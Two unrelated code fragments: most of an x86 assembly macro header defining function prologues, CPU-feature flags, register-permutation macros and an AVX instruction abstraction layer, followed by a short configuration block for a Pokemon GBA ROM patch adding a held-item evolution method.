%if %1 < regs_used
push r%1
%assign stack_offset stack_offset+4
%endif
%endmacro
%macro POP_IF_USED 1 ; reg_id
%if %1 < regs_used
pop r%1
%endif
%endmacro
%macro LOAD_IF_USED 2 ; reg_id, number_of_args
%if %1 < %2
mov r%1, [esp + stack_offset + 4 + %1*4]
%endif
%endmacro
%macro PROLOGUE 2-4+ ; #args, #regs, #xmm_regs, arg_names...
ASSERT %2 >= %1
%assign regs_used %2
ASSERT regs_used <= 7
PUSH_IF_USED 3
PUSH_IF_USED 4
PUSH_IF_USED 5
PUSH_IF_USED 6
LOAD_IF_USED 0, %1
LOAD_IF_USED 1, %1
LOAD_IF_USED 2, %1
LOAD_IF_USED 3, %1
LOAD_IF_USED 4, %1
LOAD_IF_USED 5, %1
LOAD_IF_USED 6, %1
DEFINE_ARGS %4
%endmacro
%macro RET 0
POP_IF_USED 6
POP_IF_USED 5
POP_IF_USED 4
POP_IF_USED 3
ret
%endmacro
%macro REP_RET 0
%if regs_used > 3
RET
%else
rep ret
%endif
%endmacro
%endif ;======================================================================
%ifndef WIN64
%macro WIN64_SPILL_XMM 1
%endmacro
%macro WIN64_RESTORE_XMM 1
%endmacro
%endif
;=============================================================================
; arch-independent part
;=============================================================================
%assign function_align 16
; Begin a function.
; Applies any symbol mangling needed for C linkage, and sets up a define such that
; subsequent uses of the function name automatically refer to the mangled version.
; Appends cpuflags to the function name if cpuflags has been specified.
%macro cglobal 1-2+ ; name, [PROLOGUE args]
%if %0 == 1
; HACK: work around %+ broken with empty SUFFIX for nasm 2.09.10
%ifndef cpuname
cglobal_internal %1
%else
cglobal_internal %1 %+ SUFFIX
%endif
%else
; HACK: work around %+ broken with empty SUFFIX for nasm 2.09.10
%ifndef cpuname
cglobal_internal %1, %2
%else
cglobal_internal %1 %+ SUFFIX, %2
%endif
%endif
%endmacro
%macro cglobal_internal 1-2+
%ifndef cglobaled_%1
%xdefine %1 mangle(program_name %+ _ %+ %1)
%xdefine %1.skip_prologue %1 %+ .skip_prologue
CAT_XDEFINE cglobaled_, %1, 1
%endif
%xdefine current_function %1
%ifidn __OUTPUT_FORMAT__,elf
global %1:function hidden
%else
global %1
%endif
align function_align
%1:
RESET_MM_PERMUTATION ; not really needed, but makes disassembly somewhat nicer
%assign stack_offset 0
%if %0 > 1
PROLOGUE %2
%endif
%endmacro
%macro cextern 1
%xdefine %1 mangle(program_name %+ _ %+ %1)
CAT_XDEFINE cglobaled_, %1, 1
extern %1
%endmacro
; like cextern, but without the prefix
%macro cextern_naked 1
%xdefine %1 mangle(%1)
CAT_XDEFINE cglobaled_, %1, 1
extern %1
%endmacro
%macro const 2+
%xdefine %1 mangle(program_name %+ _ %+ %1)
global %1
%1: %2
%endmacro
; This is needed for ELF, otherwise the GNU linker assumes the stack is
; executable by default.
%ifidn __OUTPUT_FORMAT__,elf
SECTION .note.GNU-stack noalloc noexec nowrite progbits
%endif
; cpuflags
%assign cpuflags_mmx (1<<0)
%assign cpuflags_mmx2 (1<<1) | cpuflags_mmx
%assign cpuflags_3dnow (1<<2) | cpuflags_mmx
%assign cpuflags_3dnow2 (1<<3) | cpuflags_3dnow
%assign cpuflags_sse (1<<4) | cpuflags_mmx2
%assign cpuflags_sse2 (1<<5) | cpuflags_sse
%assign cpuflags_sse2slow (1<<6) | cpuflags_sse2
%assign cpuflags_sse3 (1<<7) | cpuflags_sse2
%assign cpuflags_ssse3 (1<<8) | cpuflags_sse3
%assign cpuflags_sse4 (1<<9) | cpuflags_ssse3
%assign cpuflags_sse42 (1<<10)| cpuflags_sse4
%assign cpuflags_avx (1<<11)| cpuflags_sse42
%assign cpuflags_xop (1<<12)| cpuflags_avx
%assign cpuflags_fma4 (1<<13)| cpuflags_avx
%assign cpuflags_cache32 (1<<16)
%assign cpuflags_cache64 (1<<17)
%assign cpuflags_slowctz (1<<18)
%assign cpuflags_lzcnt (1<<19)
%assign cpuflags_misalign (1<<20)
%assign cpuflags_aligned (1<<21) ; not a cpu feature, but a function variant
%assign cpuflags_atom (1<<22)
%define cpuflag(x) ((cpuflags & (cpuflags_ %+ x)) == (cpuflags_ %+ x))
%define notcpuflag(x) ((cpuflags & (cpuflags_ %+ x)) != (cpuflags_ %+ x))
; Takes up to 2 cpuflags from the above list.
; All subsequent functions (up to the next INIT_CPUFLAGS) is built for the specified cpu.
; You shouldn't need to invoke this macro directly, it's a subroutine for INIT_MMX &co.
%macro INIT_CPUFLAGS 0-2
%if %0 >= 1
%xdefine cpuname %1
%assign cpuflags cpuflags_%1
%if %0 >= 2
%xdefine cpuname %1_%2
%assign cpuflags cpuflags | cpuflags_%2
%endif
%xdefine SUFFIX _ %+ cpuname
%if cpuflag(avx)
%assign avx_enabled 1
%endif
%if mmsize == 16 && notcpuflag(sse2)
%define mova movaps
%define movu movups
%define movnta movntps
%endif
%if cpuflag(aligned)
%define movu mova
%elifidn %1, sse3
%define movu lddqu
%endif
%else
%xdefine SUFFIX
%undef cpuname
%undef cpuflags
%endif
%endmacro
; merge mmx and sse*
%macro CAT_XDEFINE 3
%xdefine %1%2 %3
%endmacro
%macro CAT_UNDEF 2
%undef %1%2
%endmacro
%macro INIT_MMX 0-1+
%assign avx_enabled 0
%define RESET_MM_PERMUTATION INIT_MMX %1
%define mmsize 8
%define num_mmregs 8
%define mova movq
%define movu movq
%define movh movd
%define movnta movntq
%assign %%i 0
%rep 8
CAT_XDEFINE m, %%i, mm %+ %%i
CAT_XDEFINE nmm, %%i, %%i
%assign %%i %%i+1
%endrep
%rep 8
CAT_UNDEF m, %%i
CAT_UNDEF nmm, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
%macro INIT_XMM 0-1+
%assign avx_enabled 0
%define RESET_MM_PERMUTATION INIT_XMM %1
%define mmsize 16
%define num_mmregs 8
%ifdef ARCH_X86_64
%define num_mmregs 16
%endif
%define mova movdqa
%define movu movdqu
%define movh movq
%define movnta movntdq
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, xmm %+ %%i
CAT_XDEFINE nxmm, %%i, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
; FIXME: INIT_AVX can be replaced by INIT_XMM avx
%macro INIT_AVX 0
INIT_XMM
%assign avx_enabled 1
%define PALIGNR PALIGNR_SSSE3
%define RESET_MM_PERMUTATION INIT_AVX
%endmacro
%macro INIT_YMM 0-1+
%assign avx_enabled 1
%define RESET_MM_PERMUTATION INIT_YMM %1
%define mmsize 32
%define num_mmregs 8
%ifdef ARCH_X86_64
%define num_mmregs 16
%endif
%define mova vmovaps
%define movu vmovups
%undef movh
%define movnta vmovntps
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, ymm %+ %%i
CAT_XDEFINE nymm, %%i, %%i
%assign %%i %%i+1
%endrep
INIT_CPUFLAGS %1
%endmacro
INIT_XMM
; I often want to use macros that permute their arguments. e.g. there's no
; efficient way to implement butterfly or transpose or dct without swapping some
; arguments.
;
; I would like to not have to manually keep track of the permutations:
; If I insert a permutation in the middle of a function, it should automatically
; change everything that follows. For more complex macros I may also have multiple
; implementations, e.g. the SSE2 and SSSE3 versions may have different permutations.
;
; Hence these macros. Insert a PERMUTE or some SWAPs at the end of a macro that
; permutes its arguments. It's equivalent to exchanging the contents of the
; registers, except that this way you exchange the register names instead, so it
; doesn't cost any cycles.
%macro PERMUTE 2-* ; takes a list of pairs to swap
%rep %0/2
%xdefine tmp%2 m%2
%xdefine ntmp%2 nm%2
%rotate 2
%endrep
%rep %0/2
%xdefine m%1 tmp%2
%xdefine nm%1 ntmp%2
%undef tmp%2
%undef ntmp%2
%rotate 2
%endrep
%endmacro
%macro SWAP 2-* ; swaps a single chain (sometimes more concise than pairs)
%rep %0-1
%ifdef m%1
%xdefine tmp m%1
%xdefine m%1 m%2
%xdefine m%2 tmp
CAT_XDEFINE n, m%1, %1
CAT_XDEFINE n, m%2, %2
%else
; If we were called as "SWAP m0,m1" rather than "SWAP 0,1" infer the original numbers here.
; Be careful using this mode in nested macros though, as in some cases there may be
; other copies of m# that have already been dereferenced and don't get updated correctly.
%xdefine %%n1 n %+ %1
%xdefine %%n2 n %+ %2
%xdefine tmp m %+ %%n1
CAT_XDEFINE m, %%n1, m %+ %%n2
CAT_XDEFINE m, %%n2, tmp
CAT_XDEFINE n, m %+ %%n1, %%n1
CAT_XDEFINE n, m %+ %%n2, %%n2
%endif
%undef tmp
%rotate 1
%endrep
%endmacro
; If SAVE_MM_PERMUTATION is placed at the end of a function, then any later
; calls to that function will automatically load the permutation, so values can
; be returned in mmregs.
%macro SAVE_MM_PERMUTATION 0-1
%if %0
%xdefine %%f %1_m
%else
%xdefine %%f current_function %+ _m
%endif
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE %%f, %%i, m %+ %%i
%assign %%i %%i+1
%endrep
%endmacro
%macro LOAD_MM_PERMUTATION 1 ; name to load from
%ifdef %1_m0
%assign %%i 0
%rep num_mmregs
CAT_XDEFINE m, %%i, %1_m %+ %%i
CAT_XDEFINE n, m %+ %%i, %%i
%assign %%i %%i+1
%endrep
%endif
%endmacro
; Append cpuflags to the callee's name iff the appended name is known and the plain name isn't
%macro call 1
; HACK: work around %+ broken with empty SUFFIX for nasm 2.09.10
%ifndef cpuname
call_internal %1, %1
%else
call_internal %1, %1 %+ SUFFIX
%endif
%endmacro
%macro call_internal 2
%xdefine %%i %1
%ifndef cglobaled_%1
%ifdef cglobaled_%2
%xdefine %%i %2
%endif
%endif
call %%i
LOAD_MM_PERMUTATION %%i
%endmacro
; Substitutions that reduce instruction size but are functionally equivalent
%macro add 2
%ifnum %2
%if %2==128
sub %1, -128
%else
add %1, %2
%endif
%else
add %1, %2
%endif
%endmacro
%macro sub 2
%ifnum %2
%if %2==128
add %1, -128
%else
sub %1, %2
%endif
%else
sub %1, %2
%endif
%endmacro
;=============================================================================
; AVX abstraction layer
;=============================================================================
%assign i 0
%rep 16
%if i < 8
CAT_XDEFINE sizeofmm, i, 8
%endif
CAT_XDEFINE sizeofxmm, i, 16
CAT_XDEFINE sizeofymm, i, 32
%assign i i+1
%endrep
%undef i
;%1 == instruction
;%2 == 1 if float, 0 if int
;%3 == 1 if 4-operand (xmm, xmm, xmm, imm), 0 if 3-operand (xmm, xmm, xmm)
;%4 == number of operands given
;%5+: operands
%macro RUN_AVX_INSTR 6-7+
%ifid %5
%define %%size sizeof%5
%else
%define %%size mmsize
%endif
%if %%size==32
v%1 %5, %6, %7
%else
%if %%size==8
%define %%regmov movq
%elif %2
%define %%regmov movaps
%else
%define %%regmov movdqa
%endif
%if %4>=3+%3
%ifnidn %5, %6
%if avx_enabled && sizeof%5==16
v%1 %5, %6, %7
%else
%%regmov %5, %6
%1 %5, %7
%endif
%else
%1 %5, %7
%endif
%elif %3
%1 %5, %6, %7
%else
%1 %5, %6
%endif
%endif
%endmacro
; 3arg AVX ops with a memory arg can only have it in src2,
; whereas SSE emulation of 3arg prefers to have it in src1 (i.e. the mov).
; So, if the op is symmetric and the wrong one is memory, swap them.
%macro RUN_AVX_INSTR1 8
%assign %%swap 0
%if avx_enabled
%ifnid %6
%assign %%swap 1
%endif
%elifnidn %5, %6
%ifnid %7
%assign %%swap 1
%endif
%endif
%if %%swap && %3 == 0 && %8 == 1
RUN_AVX_INSTR %1, %2, %3, %4, %5, %7, %6
%else
RUN_AVX_INSTR %1, %2, %3, %4, %5, %6, %7
%endif
%endmacro
;%1 == instruction
;%2 == 1 if float, 0 if int
;%3 == 1 if 4-operand (xmm, xmm, xmm, imm), 0 if 3-operand (xmm, xmm, xmm)
;%4 == 1 if symmetric (i.e. doesn't matter which src arg is which), 0 if not
%macro AVX_INSTR 4
%macro %1 2-9 fnord, fnord, fnord, %1, %2, %3, %4
%ifidn %3, fnord
RUN_AVX_INSTR %6, %7, %8, 2, %1, %2
%elifidn %4, fnord
RUN_AVX_INSTR1 %6, %7, %8, 3, %1, %2, %3, %9
%elifidn %5, fnord
RUN_AVX_INSTR %6, %7, %8, 4, %1, %2, %3, %4
%else
RUN_AVX_INSTR %6, %7, %8, 5, %1, %2, %3, %4, %5
%endif
%endmacro
%endmacro
AVX_INSTR addpd, 1, 0, 1
AVX_INSTR addps, 1, 0, 1
AVX_INSTR addsd, 1, 0, 1
AVX_INSTR addss, 1, 0, 1
AVX_INSTR addsubpd, 1, 0, 0
AVX_INSTR addsubps, 1, 0, 0
AVX_INSTR andpd, 1, 0, 1
AVX_INSTR andps, 1, 0, 1
AVX_INSTR andnpd, 1, 0, 0
AVX_INSTR andnps, 1, 0, 0
AVX_INSTR blendpd, 1, 0, 0
AVX_INSTR blendps, 1, 0, 0
AVX_INSTR blendvpd, 1, 0, 0
AVX_INSTR blendvps, 1, 0, 0
AVX_INSTR cmppd, 1, 0, 0
AVX_INSTR cmpps, 1, 0, 0
AVX_INSTR cmpsd, 1, 0, 0
AVX_INSTR cmpss, 1, 0, 0
AVX_INSTR divpd, 1, 0, 0
AVX_INSTR divps, 1, 0, 0
AVX_INSTR divsd, 1, 0, 0
AVX_INSTR divss, 1, 0, 0
AVX_INSTR dppd, 1, 1, 0
AVX_INSTR dpps, 1, 1, 0
AVX_INSTR haddpd, 1, 0, 0
AVX_INSTR haddps, 1, 0, 0
AVX_INSTR hsubpd, 1, 0, 0
AVX_INSTR hsubps, 1, 0, 0
AVX_INSTR maxpd, 1, 0, 1
AVX_INSTR maxps, 1, 0, 1
AVX_INSTR maxsd, 1, 0, 1
AVX_INSTR maxss, 1, 0, 1
AVX_INSTR minpd, 1, 0, 1
AVX_INSTR minps, 1, 0, 1
AVX_INSTR minsd, 1, 0, 1
AVX_INSTR minss, 1, 0, 1
AVX_INSTR movsd, 1, 0, 0
AVX_INSTR movss, 1, 0, 0
AVX_INSTR mpsadbw, 0, 1, 0
AVX_INSTR movhlps, 1, 0, 0
AVX_INSTR movlhps, 1, 0, 0
AVX_INSTR mulpd, 1, 0, 1
AVX_INSTR mulps, 1, 0, 1
AVX_INSTR mulsd, 1, 0, 1
AVX_INSTR mulss, 1, 0, 1
AVX_INSTR orpd, 1, 0, 1
AVX_INSTR orps, 1, 0, 1
AVX_INSTR packsswb, 0, 0, 0
AVX_INSTR packssdw, 0, 0, 0
AVX_INSTR packuswb, 0, 0, 0
AVX_INSTR packusdw, 0, 0, 0
AVX_INSTR paddb, 0, 0, 1
AVX_INSTR paddw, 0, 0, 1
AVX_INSTR paddd, 0, 0, 1
AVX_INSTR paddq, 0, 0, 1
AVX_INSTR paddsb, 0, 0, 1
AVX_INSTR paddsw, 0, 0, 1
AVX_INSTR paddusb, 0, 0, 1
AVX_INSTR paddusw, 0, 0, 1
AVX_INSTR palignr, 0, 1, 0
AVX_INSTR pand, 0, 0, 1
AVX_INSTR pandn, 0, 0, 0
AVX_INSTR pavgb, 0, 0, 1
AVX_INSTR pavgw, 0, 0, 1
AVX_INSTR pblendvb, 0, 0, 0
AVX_INSTR pblendw, 0, 1, 0
AVX_INSTR pcmpestri, 0, 0, 0
AVX_INSTR pcmpestrm, 0, 0, 0
AVX_INSTR pcmpistri, 0, 0, 0
AVX_INSTR pcmpistrm, 0, 0, 0
AVX_INSTR pcmpeqb, 0, 0, 1
AVX_INSTR pcmpeqw, 0, 0, 1
AVX_INSTR pcmpeqd, 0, 0, 1
AVX_INSTR pcmpeqq, 0, 0, 1
AVX_INSTR pcmpgtb, 0, 0, 0
AVX_INSTR pcmpgtw, 0, 0, 0
AVX_INSTR pcmpgtd, 0, 0, 0
AVX_INSTR pcmpgtq, 0, 0, 0
AVX_INSTR phaddw, 0, 0, 0
AVX_INSTR phaddd, 0, 0, 0
AVX_INSTR phaddsw, 0, 0, 0
AVX_INSTR phsubw, 0, 0, 0
AVX_INSTR phsubd, 0, 0, 0
AVX_INSTR phsubsw, 0, 0, 0
AVX_INSTR pmaddwd, 0, 0, 1
AVX_INSTR pmaddubsw, 0, 0, 0
AVX_INSTR pmaxsb, 0, 0, 1
AVX_INSTR pmaxsw, 0, 0, 1
AVX_INSTR pmaxsd, 0, 0, 1
AVX_INSTR pmaxub, 0, 0, 1
AVX_INSTR pmaxuw, 0, 0, 1
AVX_INSTR pmaxud, 0, 0, 1
AVX_INSTR pminsb, 0, 0, 1
AVX_INSTR pminsw, 0, 0, 1
AVX_INSTR pminsd, 0, 0, 1
AVX_INSTR pminub, 0, 0, 1
AVX_INSTR pminuw, 0, 0, 1
AVX_INSTR pminud, 0, 0, 1
AVX_INSTR pmulhuw, 0, 0, 1
AVX_INSTR pmulhrsw, 0, 0, 1
AVX_INSTR pmulhw, 0, 0, 1
AVX_INSTR pmullw, 0, 0, 1
AVX_INSTR pmulld, 0, 0, 1
AVX_INSTR pmuludq, 0, 0, 1
AVX_INSTR pmuldq, 0, 0, 1
AVX_INSTR por, 0, 0, 1
AVX_INSTR psadbw, 0, 0, 1
AVX_INSTR pshufb, 0, 0, 0
AVX_INSTR psignb, 0, 0, 0
AVX_INSTR psignw, 0, 0, 0
AVX_INSTR psignd, 0, 0, 0
AVX_INSTR psllw, 0, 0, 0
AVX_INSTR pslld, 0, 0, 0
AVX_INSTR psllq, 0, 0, 0
AVX_INSTR pslldq, 0, 0, 0
AVX_INSTR psraw, 0, 0, 0
AVX_INSTR psrad, 0, 0, 0
AVX_INSTR psrlw, 0, 0, 0
AVX_INSTR psrld, 0, 0, 0
AVX_INSTR psrlq, 0, 0, 0
AVX_INSTR psrldq, 0, 0, 0
AVX_INSTR psubb, 0, 0, 0
AVX_INSTR psubw, 0, 0, 0
AVX_INSTR psubd, 0, 0, 0
AVX_INSTR psubq, 0, 0, 0
AVX_INSTR psubsb, 0, 0, 0
AVX_INSTR psubsw, 0, 0, 0
AVX_INSTR psubusb, 0, 0, 0
AVX_INSTR psubusw, 0, 0, 0
AVX_INSTR punpckhbw, 0, 0, 0
AVX_INSTR punpckhwd, 0, 0, 0
AVX_INSTR punpckhdq, 0, 0, 0
AVX_INSTR punpckhqdq, 0, 0, 0
AVX_INSTR punpcklbw, 0, 0, 0
AVX_INSTR punpcklwd, 0, 0, 0
AVX_INSTR punpckldq, 0, 0, 0
AVX_INSTR punpcklqdq, 0, 0, 0
AVX_INSTR pxor, 0, 0, 1
AVX_INSTR shufps, 1, 1, 0
AVX_INSTR subpd, 1, 0, 0
AVX_INSTR subps, 1, 0, 0
AVX_INSTR subsd, 1, 0, 0
AVX_INSTR subss, 1, 0, 0
AVX_INSTR unpckhpd, 1, 0, 0
AVX_INSTR unpckhps, 1, 0, 0
AVX_INSTR unpcklpd, 1, 0, 0
AVX_INSTR unpcklps, 1, 0, 0
AVX_INSTR xorpd, 1, 0, 1
AVX_INSTR xorps, 1, 0, 1
; 3DNow instructions, for sharing code between AVX, SSE and 3DN
AVX_INSTR pfadd, 1, 0, 1
AVX_INSTR pfsub, 1, 0, 0
AVX_INSTR pfmul, 1, 0, 1
; base-4 constants for shuffles
%assign i 0
%rep 256
%assign j ((i>>6)&3)*1000 + ((i>>4)&3)*100 + ((i>>2)&3)*10 + (i&3)
%if j < 10
CAT_XDEFINE q000, j, i
%elif j < 100
CAT_XDEFINE q00, j, i
%elif j < 1000
CAT_XDEFINE q0, j, i
%else
CAT_XDEFINE q, j, i
%endif
%assign i i+1
%endrep
%undef i
%undef j
%macro FMA_INSTR 3
%macro %1 4-7 %1, %2, %3
%if cpuflag(xop)
v%5 %1, %2, %3, %4
%else
%6 %1, %2, %3
%7 %1, %4
%endif
%endmacro
%endmacro
FMA_INSTR pmacsdd, pmulld, paddd
FMA_INSTR pmacsww, pmullw, paddw
FMA_INSTR pmadcswd, pmaddwd, paddd
|
// filenames of the input and output roms
// test_gba will be created as a modified copy of rom_gba
rom_gba equ "rom.gba"
test_gba equ "test.gba"
// the number of evolution slots each Pokemon gets
evolutions_per_pokemon equ 5
// the id for this evolution method
// e.g. Level up is 4 and trade is 5
EVO_HELD_ITEM equ 16
// where you want the code to be inserted
// make sure it is word aligned (ends in 0, 4, 8, or C)
.definelabel free_space, 0x08F00000
// hooks are necessary to clear the item at the proper time
// set this to false to not include the hooks (and thus never clear the item at all)
// set this to true to include the hooks (and thus clear the item properly)
hook equ true
// the flag to coordinate clearing the item
// if hook is set to false, it will never be read or set by this code
FLAG_HELD_ITEM_EVOLUTION equ 0x2FF |
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